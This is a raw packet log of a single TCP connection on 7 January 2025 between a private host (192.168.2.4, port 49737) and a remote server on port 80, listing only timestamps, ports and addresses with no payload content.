Jan 7, 2025 13:25:35.451394081 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451427937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451435089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451447010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451472044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451474905 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451597929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451605082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451623917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451631069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451637983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451643944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451651096 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451659918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451689959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.474863052 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474872112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474885941 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474915028 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474921942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474925995 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.474936962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474942923 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.474956989 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475004911 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475085020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475096941 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475100994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475106955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475111008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475155115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475156069 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475162983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475173950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475179911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475186110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475198984 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475204945 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475220919 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475374937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475382090 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475387096 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475393057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475399017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475410938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475418091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475425959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475438118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475444078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475450993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475456953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475470066 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475492954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475501060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475526094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475533962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475539923 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.475543022 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.475569010 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.524923086 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540147066 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540155888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540215969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540221930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540234089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540240049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540271044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540282965 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540288925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540316105 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540328026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540361881 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540371895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540385962 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540400028 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540405989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540422916 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540436983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540456057 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540479898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540486097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540523052 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540529013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540553093 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540560961 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540584087 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540599108 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540605068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540669918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540676117 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540687084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540699959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540751934 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540776014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540781021 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540874004 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540879965 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540891886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540904045 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540925980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540931940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540956020 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.540968895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540975094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.540997982 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541088104 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541150093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541157007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541167974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541198015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541203976 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541225910 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541279078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541284084 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541285992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541291952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541399956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541407108 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541418076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541424990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541429996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541429996 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541436911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541462898 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541462898 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541543007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541549921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541563034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541568995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541574955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541723013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541728020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541739941 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541745901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541752100 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541791916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541796923 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541809082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541819096 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541847944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541853905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541871071 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541920900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541927099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541938066 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.541949987 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.541996956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542004108 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542015076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542028904 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542041063 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542047024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542068958 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542114019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542135000 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542144060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542148113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542171955 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542182922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542188883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542205095 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542232037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542237997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542248964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542263031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542363882 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542392015 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542455912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542462111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542474031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542479038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542484999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542484999 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.542491913 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.542514086 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.543289900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565526009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565545082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565552950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565599918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565612078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565618992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565625906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565630913 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565681934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565687895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565705061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565710068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565713882 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565737009 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565753937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565761089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565772057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565778971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565783024 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565815926 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565830946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565840006 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565851927 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565896988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565903902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565915108 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565921068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565927029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565942049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565953016 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.565960884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.565987110 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.566035986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566044092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566050053 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566055059 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566061020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566063881 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.566068888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566090107 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.566257000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566262960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566282988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566287994 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.566342115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566349030 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.566368103 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.567173004 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.630863905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630882978 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630889893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630903959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630914927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630923033 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630933046 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.630975008 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.630983114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.630990028 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631025076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631031036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631042004 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631052971 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631076097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631115913 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631124020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631129980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631154060 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631277084 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631299019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631306887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631329060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631335974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631341934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631347895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631359100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631365061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631369114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631376028 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631386042 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631414890 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631434917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631439924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631443024 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631445885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631453037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631480932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631486893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631511927 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631516933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631561041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631583929 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631668091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631683111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631685019 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631690025 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631714106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631742954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631755114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631761074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631783962 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631808043 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631813049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631839037 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631874084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631886005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631891966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631901979 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631915092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631951094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631957054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.631958008 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.631958008 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632002115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632023096 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632029057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632102013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632107019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632118940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632124901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632129908 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632131100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632162094 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632183075 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632189989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632231951 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632374048 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632417917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632424116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632441044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632446051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632472038 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632530928 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632535934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632548094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632554054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632576942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632582903 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632606983 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632625103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632632971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632656097 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632705927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632713079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632723093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632728100 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632728100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632750988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632756948 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632771015 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632786989 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632844925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632852077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632864952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632886887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632905006 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632917881 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632937908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632945061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.632968903 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.632982016 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.633002996 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.633029938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.633069992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.633075953 CET	80	49737	87.120.113.91	192.168.2.4
